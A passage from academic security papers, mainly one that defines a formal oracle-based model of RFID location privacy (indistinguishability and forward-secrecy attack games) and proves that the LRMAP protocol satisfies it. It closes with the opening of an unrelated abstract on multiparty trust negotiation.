low. Hence, it is worthwhile to reconsider whether RFID should face such a strong
adversary model. Due to the short communication range and infrequent access
properties of RFID tags, we believe it is not necessary to assume the presence of

5 In the original OSK paper [12], this limitation does not exist in the protocol descrip-
tion, which is why Avoine showed that this protocol is secure in his paper [4], but
later on Juels and Weis disagreed in [11] when this limitation was considered.
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powerful adversaries. Henceforth, an adequate and appropriate privacy model,
which takes into account the constraints of RFID is still missing.
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Abstract. The privacy and security problems in RFID systems have
been extensively studied. However, less research has been done on formal
analysis of RFID security. The existing adversarial models proposed in
the literature have limitations for analyzing RFID location privacy. In
this paper, we propose a new formal proof model based on random oracle
and indistinguishability. It not only considers passive/active attacks to
the message flows between RFID reader and tag, but also takes into
account physical attacks for disclosing tag’s internal state, thus making
it more suitable for real RFID systems. We further apply our model to
analyze location privacy of an existing RFID protocol.

Keywords: RFID security, location privacy, formal proof model.

1 Introduction

Radio Frequency Identification (RFID) systems are a new form of automatic
identification technology involving the use of small devices called RFID tags.
They are expected to replace optical barcodes due to several important ad-
vantages including small size, quick identification, and invisible implementation
within objects. An RFID system consists of RFID tags, an RFID reader, and a
back-end database. As the RFID reader communicates with the tags using RF
signals, RFID protocols may face various security threats such as location pri-
vacy, authentication, and resynchronization between two entities. Much attention
has been devoted to RFID security, and various schemes have been proposed.
Nevertheless, most of RFID security research lacks formal analysis, therefore
existing work mainly offers ad hoc notions of security [8].

Location privacy is one of the most important security requirements in an
RFID system. The existing adversarial models proposed in the literature [1,8,19]
have limitations in the analysis of RFID location privacy. In fact, Avoine’s model
[1] only captures a range of adversarial ability using some queries. Juels-Weis’s
model [8] is more specific and practical regarding the adversarial computation
boundary. However, when analyzing the randomized hash-lock protocol with
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their model, it confirmed location privacy, whereas the protocol is known to
be vulnerable to location tracking as a tag’s ID is sent to the tag through an
insecure wireless channel [16]. In addition, they did not define a concrete attack
game for forward secrecy in RFID location privacy. More recently, Vaudenay has
presented the classification of privacy in RFID [19] and shown narrow-destructive
privacy for Ohkubo-Suzuki-Kinoshita (OSK) protocols [14, 15] in the random
oracle model, so that the strong privacy is indeed not achievable in RFID.

In this paper, we present a formal definition of provable location privacy for an
RFID system. Our adversarial model is more suitable for a real RFID system as
it not only considers passive/active attacks to the message flows between RFID
reader and tag, but also takes into account physical attacks for disclosing tag’s
internal state. It is based on the random oracle model and indistinguishability
that is reminiscent of the classic indistinguishability under chosen-plaintext and
chosen-ciphertext attacks in a cryptosystem’s security game.

The rest of this paper is structured as follows. Section 2 explains the adver-
sarial types and security requirements in an RFID system. Section 3 defines the
security model for satisfying those requirements. Section 4 presents our formal
definition for location privacy of an RFID system. Section 5 analyzes location
privacy of an RFID protocol LRMAP [4] with our formal proof model. Final
conclusions are given in Section 6.

2 Adversarial Types

We consider two types of adversaries in RFID systems.

– Passive Adversary AP : AP eavesdrops all communications among a tag, a
reader and a database. AP tries to find out a secret key or useful information
of the targeted tag. However, AP cannot insert or alter any message in
communication.

– Active Adversary AA: AA can insert or modify any message in addition
to eavesdropping. That is, AA impersonates a legal reader or tag by replay
attack or spoofing attack, and causes de-synchronization between back-end
database and a tag by message interruption or jamming. Moreover, AA also
tries to find out a secret key or useful information like AP .

Since the communication between a reader and a tag is performed using a
wireless interface, the communicated data can be easily tapped by an attacker
A. Therefore, RFID protocols need to satisfy various security requirements as
identified in the literature [9,12,18]. In particular, they should be designed secure
against the following attacks.

– Eavesdropping: An adversary AP or AA can eavesdrop messages trans-
mitted between the reader and tags via wireless communication, and tries to
find out the secret key or other information like tag ID. With those informa-
tion, An active adversary AA can further perform other enhanced attacks,
such as replay attack or spoofing attack.
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– Impersonation: An active adversary AA impersonates a legal reader or a
legal tag by replay attack or spoofing attack so that it passes the authenti-
cation protocol/phase between the back-end database and a tag.

– Message Interruption and Loss: Since the communication between a
reader and tags is performed wirelessly, the possibility of message loss is
higher than with wired communication due to system malfunction or commu-
nication error. When an attacker AA tries to block the service by jamming,
the communicated message between the reader and tags can be interrupted,
and a message interruption or loss will cause a state of de-synchronization
between the tag and the back-end database. We call this message interrup-
tion by malicious AA a de-synchronizaton attack.

– Location Tracking: An adversary AA may try to trace the location of
a tag based on the interactions with it. For perfect untraceability, RFID
protocols must satisfy indistinguishability [14] and forward secrecy [1, 14].
Indistinguishability means the values emitted by one tag should not be dis-
tinguishable from the values emitted by other tags. Forward secrecy means
even if the adversary acquires the secret data stored in a tag, the tag’s loca-
tion cannot be traced back using previously known messages. Here we define
weak location privacy that only satisfies indistinguishability while strong lo-
cation privacy meets both indistinguishability and forward secrecy.

3 Security Model

For simplicity, we assume a fixed, polynomial-size tag set T S = {T1, . . . , Tn}, a
reader R and a back-end database DB as the elements for an RFID system: S =
{T S,R,DB}. We do not assume that these subsets always have the same size
or always include the same elements. A back-end database DB has information
for T S’s authentication such as tag’s ID, state value and session id, etc. Before
the protocol is run for the first time, an initialization phase occurs in both Tl

and DB, where l = 1, . . . , n. That is, each Tl ∈ T S runs an algorithm G(1k) to
generate the secret key kl or identity IDl, and DB also saves these values in a
database field.

The research for secure RFID systems can be mainly categorized into physi-
cal technologies and protocol-based techniques. The first category includes ‘Kill
command’ [21], ‘Active jamming’ [7] and ‘Blocker tag’ [7] approaches. The sec-
ond category is further classified into three types, i.e., hash-based protocol [5,15,
16, 18, 20, 21], re-encryption protocol [3, 6, 17] and partial identity based proto-
col [10, 11]. We do not consider the physical approaches but treat the weakness
of protocol-based techniques in this paper.

Fig 1 represents the general structure of RFID protocols with 3 rounds and
based on challenge-response.
R and DB can execute the protocol multiple times with different tags, which is

modeled by allowing each principal an unlimited number of instances to execute
the protocol. We denote instance i of entity E as E i to represent a flow originating
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DB R T
Rj , m1−−−−−−−→
T i

l , m2←−−−−−−−
Rj , m3←−−−−−−−

DBk, m4−−−−−−−−→
Rj , m5−−−−−−−→

Fig. 1. General model of 3-round RFID protocols

from entity E , where E ∈ {Tl, R, DB} and Tl ∈ T S. Note, a given instance may
only be used once.

The adversary A is assumed to have complete control over all communications
in the protocol. In Fig 1, the flows for each round of a protocol are sent and
controlled by the adversary in the adversarial model. A’s interaction with the
RFID entities in the network is modeled by sending the following queries to a
oracle O and receiving the result from O.

– Query(Rj , m1) : It calls instance Rj , and outputs m1.
– Reply(T i

l , m′
1, m2)/Reply*(T i

l , m′
1, m2) : It calls instance T i

l with input m′
1,

and outputs m2. We consider two cases, query for normal state and query
for abnormal state, according to the state of previous session of RFID proto-
col. In fact, according to the authentication result of RFID protocol [4, 12],
different messages can be sent to R in response to the query from the reader,
which can influence the ways, effort, and abilities of an adversary for attack-
ing an RFID protocol. Reply() means RFID protocol finished successfully at
the previous T i−1

l , while Reply*() considers RFID protocol failed in the pre-
vious T i−1

l
1. If a scheme sends response regardless of a tag’s authentication

result of the previous session, we only consider Reply since Reply = Reply*.
– Forward1(Rj , m′

2, m3) : It calls instance Rj with input m′
2, and outputs m3.

This oracle models that R transmits the message received from a tag in
response of R’s query to DB in real RFID protocol.

– Auth(DBk, m′
3, m4) : When receiving this call with input m′

3, it outputs m4.
This oracle models that DB sends the authentication result of a tag to R in
real RFID protocol.

– Forward2(Rj , m′
4, m5) : It calls instance Rj with input m′

4, and outputs m5.
This oracle considers that R forwards the authentication result received from
DB to T in real RFID protocol.

– Execute(T i
l , Rj , DBk)/Execute*(T i

l , Rj , DBk) :This oracle is defined tomodel
A’s eavesdropping of communicated messages. It executes RFID protocol

1 Even though several instances can arise in the same session, for simplicity, we assume
ith instance is for current session, while (i − 1)th instance is for the previous session
throughout this paper. That is, it is assumed only one instance is allowed for each
session.
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among unused instances of entities T i
l ∈ T S,Rj , and DBk. Execute and Ex-

ecute* have the following relation with the previously defined oracles.

• Execute(T i
l ,Rj ,DBk)

=Query(Rj , m1) ∧ Reply(T i
l , m′

1, m2) ∧ Forward1(Rj , m′
2, m3) ∧

Auth(DBk, m′
3, m4) ∧ Forward2(Rj , m′

4, m5),
where m1 = m′

1, m2 = m′
2, m3 = m′

3 and m4 = m′
4.

• Execute*(T i
l ,Rj ,DBk)

=Query(Rj , m1) ∧ Reply*(T i
l , m′

1, m2) ∧ Forward1(Rj , m′
2, m3) ∧

Auth(DBk, m′
3, m4) ∧ Forward2(Rj , m′

4, m5),
where m1 = m′

1, m2 = m′
2, m3 = m′

3 and m4 = m′
4.

While Execute() considers the RFID protocol in the normal state, Execute*()
executes the RFID protocol for the abnormal state.

– Reveal(Tl, i): It outputs all internal state of Tl’s ith instance T i
l , such as tag’s

ID, secret key, and session id, etc. In real RFID systems, the useful internal
information for A can be revealed by a physical attack.

– Test(Tl, i) : This query is allowed only once at any time during A’s execution.
A random bit b is generated; if b = 1 A is given a message m corresponding
to T i

l , and if b = 0 A receives a random value 2.

A passive adversary AP is given access to Execute(T i
l ,Rj ,DBk), Ex-

ecute*(T i
l ,Rj ,DBk), Reveal(Tl, i) and Test(Tl, i) queries, while an ac-

tive adversary AA is additionally given access to Query(Rj , m1), Re-
ply(T i

l , m′
1, m2), Reply*(T i

l , m′
1, m2), Forward1(Rj , m′

2, m3), Auth(DBk, m′
3, m4)

and Forward2(Rj , m′
4, m5) queries.

4 Definition of Location Privacy

Now we give the formal definitions of location privacy for RFID systems using the
queries defined in the previous section. Note, we only consider Execute, Execute*,
Query, Reply, Reply*, and Forward2. Forward1 and Auth are not needed for location
privacy, as the communication between R and T is performed with an insecure
air interface, while the communication between DB and R is assumed to be a
secure channel. Therefore, only the queries modeling an insecure channel are
considered for the case of location privacy 3. Hereinafter, for simplicity, it is
also assumed that m1 = m′

1, m2 = m′
2, m3 = m′

3 and m4 = m′
4 in the defined

oracles.
2 In this paper, the random value means an arbitrary value unrelated to the message

outputted from an attack-target tag in real-world RFID system. It follows a uniform
distribution [13] and its bit length depends on RFID protocols.

3 In fact, Forward1 and Auth could be used to define an authentication model for RFID
systems when inducing the notion of matching conversation proposed by Bellare and
Rogaway [2], but this will be left for future work.
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Attack Game AG Indis for RFID Location Privacy: Indistinguishability

Attack Game AGIndis
A,S [e, r, f, k]

Phase 1: Initialization
(1) Run algorithm G(1k) → (k1, . . . , kn).
(2) Set each Tl’s secret key as kl, where Tl ∈ T S = {T1, . . . Tn}.
(3) Save each Tl’s kl generated in step (1) in DB’s field.

Phase 2: Learning
(1) A executes oracles for all n − 1 tags, except only one Tc ∈ T S used in

challenge phase.

i. AP calls Execute(T i
l , Rj , DBk) and Execute*(T i

l , Rj , DBk).
ii. AA calls Query(Rj , m1), Reply(T i

l , m1, m2), Reply*(T i
l , m1, m2) and

Forward2(Rj , m4, m5) additionally.
Phase 3: Challenge
(1) A selects a challenge tag Tc from T S.
(2) A executes oracles except Reveal(Tc, i) for Tc, where i = 1, . . . , q − 1.

i. AP calls Execute(T i
c , Rj , DBk) and Execute*(T i

c , Rj , DBk).
ii. AA calls Query(Rj , m1), Reply(T i

c , m1, m2), Reply*(T i
c , m1, m2) and

Forward2(Rj , m4, m5) additionally.
(3) A calls the oracle Test(Tc, q).

(4) For the A’s Test, Oracle O tosses a fair coin b ∈ {0, 1}; let b
R←− {0, 1}.

i. If b = 1, A is given the message corresponding to Tc’s qth instance.
ii. If b = 0, A is given a random value.

(5) A outputs a guess bit b′.

A wins AGIndis
A,S if b = b′.

Fig. 2. Attack game between an adversary and oracles for indistinguishability

We now present an “Attack Game AG for Provable Location Privacy in an
RFID System”, reminiscent of the classic indistinguishability under a chosen-
plaintext attack (IND-CPA) and chosen-ciphertext attack (IND-CCA) in a cryp-
tosystem security game.

The goal of the adversary A in this game is to distinguish two different values
within the limits of A’s computational boundary. In other words, the success of
A in AG is quantified in terms of A’s advantage in distinguishing whether A
receives an RFID tag’s real response or a random value.

Considering both weak location privacy and strong location privacy of RFID
systems described in Section 2, we define two different attack games between
an adversary and oracles: AG Indis and AGFS. Fig 2 shows how the adversary A
runs the attack game AG Indis between the adversary and oracles for indistin-
guishability, while Fig 3 represents the attack game AGFS for forward secrecy.
The difference between two games resides in the challenge phase: (1) Reveal
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Attack Game AGFS for RFID Location Privacy: Forward Secrecy

Attack Game AGFS
A,S[e, r, f, k]

Phase 1: Initialization
(1) Run algorithm G(1k) → (k1, . . . , kn).
(2) Set each Tl’s secret key as kl, where Tl ∈ T S = {T1, . . . Tn}.
(3) Save each Tl’s kl generated in step (1) in DB’s field.

Phase 2: Learning
(1) A executes oracles for all n − 1 tags, except only one Tc ∈ T S used in

challenge phase.

i. AP calls Execute(T i
l , Rj , DBk) and Execute*(T i

l , Rj , DBk).
ii. AA calls Query(Rj , m1), Reply(T i

l , m1, m2), Reply*(T i
l , m1, m2) and

Forward2(Rj , m4, m5) additionally.
Phase 3: Challenge

(1) A selects a challenge tag Tc from T S .
(2) A executes oracles including Reveal(Tc, i) for Tc’s ith instance.

i. AP calls Execute(T i
c , Rj , DBk), Execute*(T i

c , Rj , DBk) and Reveal(Tc, i).
ii. AA calls Query(Rj , m1), Reply(T i

c , m1, m2), Reply*(T i
c , m1, m2) and

Forward2(Rj , m4, m5) additionally.
(3) A calls the oracle Test(Tc, i − 1).

(4) For the A’s Test, Oracle O tosses a fair coin b ∈ {0, 1}; let b
R←− {0, 1}.

i. If b = 1, A is given the message corresponding to Tc’s i − 1th instance.
ii. If b = 0, A is given a random value.

(5) A executes oracles for n − 1 tags of T S except Tc like learning phase.
(6) A outputs a guess bit b′.

A wins AGFS
A,S if b = b′.

Fig. 3. Attack game between an adversary and oracles for forward security

query’s possibility: Reveal is allowed in AGFS, however, AG Indis prohibits it; (2)
the applied instance’s range: oracles related to the instances from 1 to q − 1
are executed in AG Indis, while AGFS executes oracles only for the ith instance;
(3) additional learning phase: AGFS allows an additional learning phase, while
AGIndis does not need it because the oracles’ executions from 1 to q − 1 have
already been performed.

According to indistinguishability and forward secrecy, we formally define the
notion of weak location privacy and strong location privacy for RFID systems.

Definition 1. (Weak Location Privacy: Indistinguishability). An RFID
protocol is secure for distinguishability if A’s advantage for correctly guessing b′

in AG Indis, AdvIndis
A,S(k) def= |2 ·Pr[b = b′]− 1|, is negligible for all PPT (Probabilis-

tic Polynomial-Time) adversaries A (AP or AA) with computational boundary
e, r, f and k, where e, r, f and k is the number of Execute or Execute*, Reply
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or Reply*, Forward2 and security parameter, thereby guaranteeing weak location
privacy.

Definition 2. (Forward Secrecy). An RFID protocol guarantees forward se-
crecy if A’s advantage in successfully guessing b′ in AGFS, for all PPT adver-
saries A (AP or AA) with computational boundary e, r, f and k, AdvFS

A,S(k)
def
=

|2 · Pr[b = b′] − 1| is negligible, where e, r, f and k is the number of Execute or
Execute*, Reply or Reply*, Forward2 and security parameter.

Definition 3 (Strong Location Privacy: Indistinguishability and For-
ward Secrecy) An RFID protocol satisfies strong location privacy when both
indistinguishability and forward secrecy are guaranteed for all PPT adversaries
A (AP or AA) with computational boundary e, r, f and k, where e, r, f and k
is the number of Execute or Execute*, Reply or Reply*, Forward2 and security
parameter.

5 Analysis of an RFID Protocol

Ha et al. [4] proposed a lightweight and resynchronous mutual authentication
protocol (LRMAP) for RFID systems. Their scheme has been analyzed infor-
mally regarding the tag user’s location privacy. Here we analyze the scheme
again with the attack games under our formal model defined in Section 4.

5.1 LRMAP

The following notations are used for the entities and computational operations
to simplify the description.

ID : identity of a tag, k bits
HID : hashed value of ID, k bits
PID : previous identity of a tag used in previous session, k bits
rR : random number generated by reader R
rT : random number generated by tag T
Query : request generated by R
SYNC : parameter used to check whether both T and DB succeeded in

ID updating simultaneously or not, 1 bit
H() : one-way hash function, H : {0, 1}∗ → {0, 1}k

L(m) : left half of input message m
R(m) : right half of input message m
|| : concatenation of two inputs
?= : comparison of two inputs

In LRMAP (see Fig 4), DB manages ID, HID and PID for each T in DB’s
field. According to the state of T ’s previous session, DB finds ID for the current
session or PID used for the previous session by comparing the received P with
HID and PID. After authenticating T , it updates T ’s ID and transmits a message
for authentication of DB.
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Fig. 4. LRMAP: Lightweight and resynchronous mutual authentication protocol

T emits P = H(ID) or P = H(ID‖rT ) according to the state of SYNC in
response to a query from R. If T does not receive the last message from R due
to a communication malfunction or the verification procedure failure, the SYNC
state is set as 1 and T responds with P = H(ID‖rT ) to R in the next session.
In the case the protocol finished normally, the SYNC state becomes 0 and T
transmits P = H(ID) in the next session.
R broadcasts a query to T with a random number rR and receives the infor-

mation related to the authentication from T , such as hashed values and random
number rT . It then forwards the messages received from T to DB. After DB
authenticates T , R transmits the received message from DB to T .

A step by step description of LRMAP is given below.

1. R chooses a random number rR and broadcasts it to T with a Query.
2. T selects a random number rT and computes P differently according to the

state of SYNC. If SY NC = 0, then P = H(ID), otherwise P = H(ID‖rT )
using rT generated by itself. It then computes Q = H(ID‖rT ‖rR) and sets
the SYNC field as 1. T transmits P, L(Q) and rT to R in response to the
Query, R forwards the messages received from T to DB together with rR

generated by itself in step 1.
3. DB first compares the received P = H(ID) with the HID values saved in

the database. If the values match, DB regards the ID as the identity of T
requesting authentication. This is a general case when the previous session
is closed normally. If DB cannot find the HID in the first searching case,
it then computes H(ID‖rT ) with the received rT and compares it with P .
If the tag’s response messages were blocked in the previous session, that is,
SYNC = 1 and two IDs in the DB and tag are not updated, then DB finds a
match with the ID of T in the second searching case. However, if DB cannot
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find the ID of tag in the above two cases, it then computes H(PID‖rT ) and
compares it with P . DB finds a match with the PID of T when the reader’s
last messages were blocked in the previous session, that is, SYNC = 1 and
DB updated the ID, yet the tag’s ID was not updated. If DB cannot find the
identity of T in the above three cases, it halts the searching of ID and can
order R to query again in order to restart the process from the first step.
If DB finds the ID or PID in the three searching cases, then it computes
Q′ = H(PID‖rT ‖rR) 4 and verifies that the following equation is satisfied:

L(Q′) ?= L(Q). (1)

If equation (1) is satisfied, DB computes R(Q′), transmits it to R, and
updates the HID for the next session. That is, it computes ID = H(PID‖rR)
and updates HID = H(ID).

4. R delivers the message R(Q′) received from DB to T .
5. To verify the correctness of R(Q′), T tests the following equation:

R(Q) ?= R(Q′), (2)

If equation (2) is correct, T updates the identity as ID = H(ID‖rR), then
sets the SYNC value to 0.

5.2 Analysis of LRMAP

We now perform a formal analysis of LRMAP. For the detailed basic analysis,
refer to [4]. With our formal proof model, LRMAP guarantees strong location
privacy, as shown in the following Theorem 1. To induce Theorem 1, we first
prove the following lemmas.

Lemma 1. LRMAP guarantees indistinguishability for any polynomial bounded
adversary A (AP or AA), i.e., any security parameter k and A’s computa-
tional boundary e1, e2, r1 and r2, where e1, e2, r1 and r2 is the number of Execute,
Execute*, Reply, and Reply*, respectively.

Proof: We use a similar proof method described in [8] 5.
First, we show LRMAP guarantees weak location privacy for AP . For this, we

specify the simulators SimExe and SimExe* for Tc in AG Indis. SimExe and SimExe* do
not know the value of b or any secret key kc for Tc. AP ’s interaction with SimExe

and SimExe* will be computationally indistinguishable from an interaction with
Tc. Therefore, we suppose that AP gains no knowledge from its interaction with
Tc in a real RFID system S.

Note that AP chooses the challenge tag Tc from the un-revealed tags. Let L
be the full list of the real quintuplets (rn1, hv1, hv2, rn2, hv3) outputted by Tc

4 Since ID is updated into PID after finding ID from HID, Q′ = H(PID‖rT ‖rR) is
computed regardless of PID or ID.

5 Even though the defined attack games between our model and [8] are different, a sim-
ilar proof can be used because both are based on the impossibility of distinguishing
any two values.
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during the challenge phase of the game, where hvi means a hashed value for
i = 1, 2, 3 and rnj is a random number for j = 1, 2. During the challenge phase,
SimExe simulates the result of a Execute call to Tc by generating (rR,i, P

′
i =

H(IDi), L′
i(Q), rT,i, R

′
i(Q)) for i ≤ #Execute = e1 and appending it to a list L′

1.
Similarly, SimExe* simulates the result of a Execute* call to Tc by generat-

ing (rR,j , P
′′
j = H(IDj‖rT,j), L′′

j (Q), rT,j , R
′′
j (Q)) for j ≤ #Execute* = e2 and

appending it to a list L′′
1 .

Note that L′
1 and L′′

1 are empty at the beginning of the challenge phase and
q−1 = e1 +e2, where q−1 means the maximum number of the queries executed
by AP for Tc’s instance. In addition to any valid tag quintuplets outputted by
SimExe and SimExe*, DB includes any quintuplet in L′

1 and L′′
1 .

In order for AP to distinguish between the simulated challenge phase and
a real challenge phase, AP must be able to determine that some quintuplet
(rR, P ′, L′(Q), rT , R′(Q)) ∈ L′

1 is invalid for Tc. As a necessary condition for this
determination, AP must identify a quintuplet (rR, P = H(ID), L(Q), rT , R(Q))
that is valid for Tc, but such that P �= P ′, L(Q) �= L′(Q) and R(Q) �= R′(Q).
That is, AP has to remove an invalid (rR, P ′, L′(Q), rT , R′(Q)) from L′

1 to show
that the correct SimExe is present.

Consequently, one of the following two conditions must occur at some point
in the course of the challenge phase of the game.

1. There is a random number pair (rR, rT ) such that (rR, P ′, L′(Q), rT , R′(Q))
∈ L′

1 and (rR, P, L(Q), rT , R(Q)) ∈ L for some pair (X, Y ), where X =
(P ′, L′(Q), R′(Q)) ∈ L′

1, Y = (P, L(Q), R(Q)) ∈ L and P �= P ′, L(Q) �=
L′(Q) and R(Q) �= R′(Q): Since AP may make at most e1 Execute calls to
Tc, we have Min(#Execute, |L|) = e1, where #Execute = e1 and |L| = q− 1.
As rR and rT are random k-bit values, and thus the space of random numbers
is 2k, it follows that this condition occurs with probability at most e2

1/2k.
2. For a pair (rR, rT ) ∈ L′

1, L, AP directly computes P, L(Q) and R(Q) that are
equal to X or Y : Since L(Q)‖R(Q) = H(ID‖rT ‖rR) and P = H(ID), AP
first must be able to find out ID. At this time, the probability of recovering
ID from H(ID) is 1− (1− 1/2k)e1 , given that e1 Execute queries are called,
in which it is approximately e1/2k provided that e1 is small compared to 2k.
Similarly, the probability of knowing ID from L(Q) and R(Q) is e1/2(k/2)

and e1/2(k/2), respectively.

Therefore,AP can distinguish SimExe from Tc with probability at most e2
1/2k+

e1/2k + e1/2(k/2) + e1/2(k/2), which is negligible for polynomial bounded AP .
With the similar method, AP must be able to determine that some quintuplet

(rR, P ′′, L′′(Q), rT , R′′(Q)) ∈ L′′
1 is invalid for Tc. In other words, AP must

identify a quintuplet (rR, P = H(ID‖rT ), L(Q), rT , R(Q)) that is valid for Tc,
but such that P �= P ′′, L(Q) �= L′′(Q) and R(Q) �= R′′(Q). Finally, AP rules out
invalid quintuplets from L′′

1 to show that SimExe* is present.
Consequently, AP can distinguish SimExe* from Tc with probability at most

e2
2/2k +e2/2k +e2/2(k/2) +e2/2(k/2), which is negligible for polynomial bounded
A, where e2 is the maximum number of Execute* calls.
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Next, we show that indistinguishability is also guaranteed for AA in LRMAP.
Note, AA can insert or modify messages in the real RFID communication in
addition to eavesdropping.

For this reason, we additionally define some simulators SimQue, SimRep, SimRep*

and SimFor for Tc in AGIndis. The simulators do not know the value of a fair coin
b or any secret key kc for Tc. AA’s interaction with SimQue, SimRep, SimRep* and
SimFor will be computationally indistinguishable from an interaction with Tc.
Therefore, we suppose that AA does not gain knowledge from its interaction
with Tc in a real RFID system S.

During the challenge phase, SimQue simulates the result of a Query call to Tc

by generating a random number r′R,i for i ≤ #Query = q − 1 and appending it
to a list M0.

SimRep and SimRep* simulate the result of a Reply and Reply* call to Tc, respec-
tively. While SimRep generates (P ′

j = H(IDj), L′
j(Q), r′T,j) for j ≤ #Reply = r1

and appends it to a list M ′
1, SimRep* makes (P ′′

k = H(IDk‖r′′T,k), L′′
k(Q), r′′T,k) for

k ≤ #Reply* = r2 and appends it to a list M ′′
1 , in which r1 + r2 = q − 1.

Meanwhile, SimFor simulates the result of a Forward2 call to Tc by generating
R′

i(Q) for i ≤ #Forward2 = q − 1 and appending it in a list M2.
To simplify the analysis, here we assume that the result of SimQue influences the

simulated results of SimRep, SimRep* and SimFor. This is because r′R,i outputted by
SimQue is included in the computation of Q = H(ID‖rT ‖rR) of SimRep, SimRep*

and SimFor, where r′R,i = rR. Of course, we can consider the random number r′R,i

is independent of rR in Q, i.e., r′R,i �= rR, which causes the complicated analysis.
Recall that AA selects the challenge tag Tc from the un-revealed tags, and L

is the full list of quintuplets (rn1, hv1, hv2, rn2, hv3) outputted by Tc during the
challenge phase of the game. Note that M0, M

′
1, M

′′
1 and M2 are empty at the

beginning of the challenge phase.
In order for AA to distinguish between the simulated challenge phase and a

real phase, AA must determine that some triplet (P ′, L′(Q), rT ) ∈ M ′
1 is invalid

for Tc. For this, AA must identify a triplet (P = H(ID), L(Q), rT ) that is valid
for Tc, but such that P ′ �= P and L′(Q) �= L(Q). In other words, AA has to
remove an invalid (P, L′(Q), rT ) to show that SimRep is present.

Consequently, one of the following two cases must occur at some point in the
course of the challenge phase of the game.

1. There is a random number rT such that (P ′, L′(Q), rT ) ∈ M ′
1 and (P, L(Q),

rT ) ∈ L for some pair (X, Y ), where X = (P ′, L′(Q)) ∈ M ′
1 and Y =

(P, L(Q)) ∈ L: Since AA may execute at most r1 Reply calls to Tc, we have
Min(#Reply, |L|) = e1, where #Reply = r1 and |L| = q − 1. As rT is a
random k-bit value, and thus the space of random number is 2k, it follows
that this case occurs with probability at most r2

1/2k.
2. For a random number rT ∈ M ′

1, L, AA computes the values corresponding to
X or Y : Since L(Q) is the bit string from MSB to half of H(ID‖rT ‖rR) and
P = H(ID), AA must know ID and rR to compute L(Q) or P corresponding
to X or Y . Given that at most r1 Reply queries are called, the probability
of recovering ID is r1/2(k/2).
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Therefore, AA can distinguish SimRep from Tc with probability at most r2
1/2k+

r1/2(k/2), which is negligible for polynomial bounded AA.
With the similar method, AA can distinguish SimRep* from Tc with probability

at most r2
2/2k + r2/2(k/2), which is also negligible for polynomial bounded AA.

Meanwhile, AA can distinguish SimFor from Tc with probability at most (q −
1)/2(k/2), which is also negligible for polynomial bounded AA.

We omit the analysis of AA’s SimExe and SimExe* because AA’s execution for
Execute and Exectue* oracles is the same with AP ’s one. �
Next, forward secrecy in LRMAP is guaranteed by the following Lemma 2.

Lemma 2. LRMAP guarantees forward secrecy for any polynomial bounded
adversary A (AP or AA), any security parameter k and A’s computational
boundary e1, e2, r1, r2 and f , where e1, e2, r1, r2 and f is the number of Execute,
Execute*, Reply, Reply*, and Forward2, respectively.

Proof: we show LRMAP guarantees forward secrecy for AP
6.

In the challenge phase, AP makes e1 Execute and e2 Execute* calls for (n−1)’s
each tag except Tc as in the learning phase. At this time, let AP ’s advantage
for recovering Ti’s IDi be AdvRec

AP ,Ti
(k) from the collected transaction of Execute

and Execute* queries. In other words, the probability of finding out IDi from a
quintuplet (rR,i, Pi, Li(Q), rT,i, Ri(Q)) is 2 − (1 − 1/2k)e1 − (1 − 1/2k)e2 , given
e1 Execute queries and e2 Execute* queries for Ti, where Pi = H(IDi) or Pi =
H(IDi‖rR,i) and i = 1, . . . , n − 1.

Meanwhile, when AP is given a random value or Tc’s real message in response
of Test query, it must be able to compute Pc, Lc(Q), Rc(Q) corresponding to Tc’s
(i−1)th instance for the correct guessing, i.e., b = b′, where Q = H(IDc‖rT ‖rR).
As the necessary condition, AP has to recover IDc from ith instance H(ID),
where ID = H(IDc‖rT ). Note that AP already knows ID related to ith instance
with Reveal(Tc, i). We now define AP ’s advantage for guessing the correct fair
coin b as AdvFS

AP ,S(k), thus the following equation is induced:

AdvFS
AP ,S(k) ≤ AdvRec

AP ,T1
(k) + AdvRec

AP ,T2
(k) + · · · + AdvRec

AP ,Tn−1
(k)

≤ (n − 1) · AdvRec
AP ,T1

(k)

≤ (n − 1) · {2 − (1 − 1
2k

)
e1

− (1 − 1
2k

)
e2

}

� (n − 1) · e1 + e2

2k

From the above equation, AP can distinguish a random value from the real
message with probability at most (n − 1) · (e1 + e2)/2k, which is negligible for
polynomial bounded AP .
6 A passive adversary AP cannot execute direct and stronger attacks such as break-in,

compromising of a tag, reveal of tag’s memory, etc. except eavesdropping. That is,
AP is generally not allowed to execute Reveal. However, when considering a disclosure
of tag’s internal state due to the tag holder’s carelessness, it is modeled with Reveal.
Therefore, we assume that AP calls Reveal throughout the paper.
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With the similar method, we can show that forward secrecy for AA is satis-
fied in LRMAP. When the maximum number of Reply, Reply* and Forward2 for
(n − 1)’s Ti is r1, r2 and f , respectively, the adversary AA can correctly guess
b′ with probability at most (n− 1) · (r1 + r2 + f)/2(k/2) + (n− 1) · (r1 + r2)/2k,
which is negligible for polynomial bounded AA.

We omit the analysis of AA’s SimExe and SimExe* because AA’s execution for
Execute and Exectue* oracles is the same as AP ’s one. �
From Lemma 1, Lemma 2 and Definition 3, we can induce the following security
theorem.

Theorem 1. (LRMAP: Strong Location Privacy). LRMAP guarantees
strong location privacy for any polynomial bounded adversary A (AP or AA),
any security parameter k and A’s computational boundary e1, e2, r1, r2 and f ,
where e1, e2, r1, r2 and f is the number of Execute, Execute*, Reply, Reply*, and
Forward2, respectively.

6 Conclusion and Future Work

We proposed a new formal proof model for provable location privacy in RFID sys-
tems, in which two attack games are defined for indistinguishability and forward
secrecy. That is, we considered not only passive/active attacks to the message
flows, but also physical attacks for disclosing tag’s internal state. Thus, the pro-
posed model is practical for real-world RFID systems. We further applied our
model to analyze location privacy of an existing RFID protocol LRMAP. With
the similar method, our model can be applied to the RFID protocols based on
hash function [5, 10, 12, 16] for provable location privacy.

As the future work, we will consider an authentication model suitable for the
RFID environment using the previously defined oracles. In this case, we have
to consider both the secure channel between a database and a reader and the
insecure channel between the reader and tags. It will be possible by inducing the
notion of matching conversation proposed by Bellare and Rogaway [2].
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Abstract. Automated trust negotiation (ATN) is a promising approach to estab-
lishing trust between two entities without any prior knowledge of each other.
However, real-world authorization processes often involve online input from third
parties, which ATN does not support. In this paper, we introduce multiparty trust
negotiation (MTN) as a new approach to distributed authorization. We define
a Datalog-based policy language, Distributed Authorization and Release Con-
trol Logic (DARCL), to specify both authorization and release control policies.
DARCL suits the needs of MTN and can also serve as a powerful general-purpose
policy language for authorization. To orchestrate the negotiation process among
multiple parties without a centralized moderator, we propose the diffusion nego-
tiation protocol, a set of message-passing conventions that allows parties to carry
out a negotiation in a distributed fashion. Building on top of the diffusion negoti-
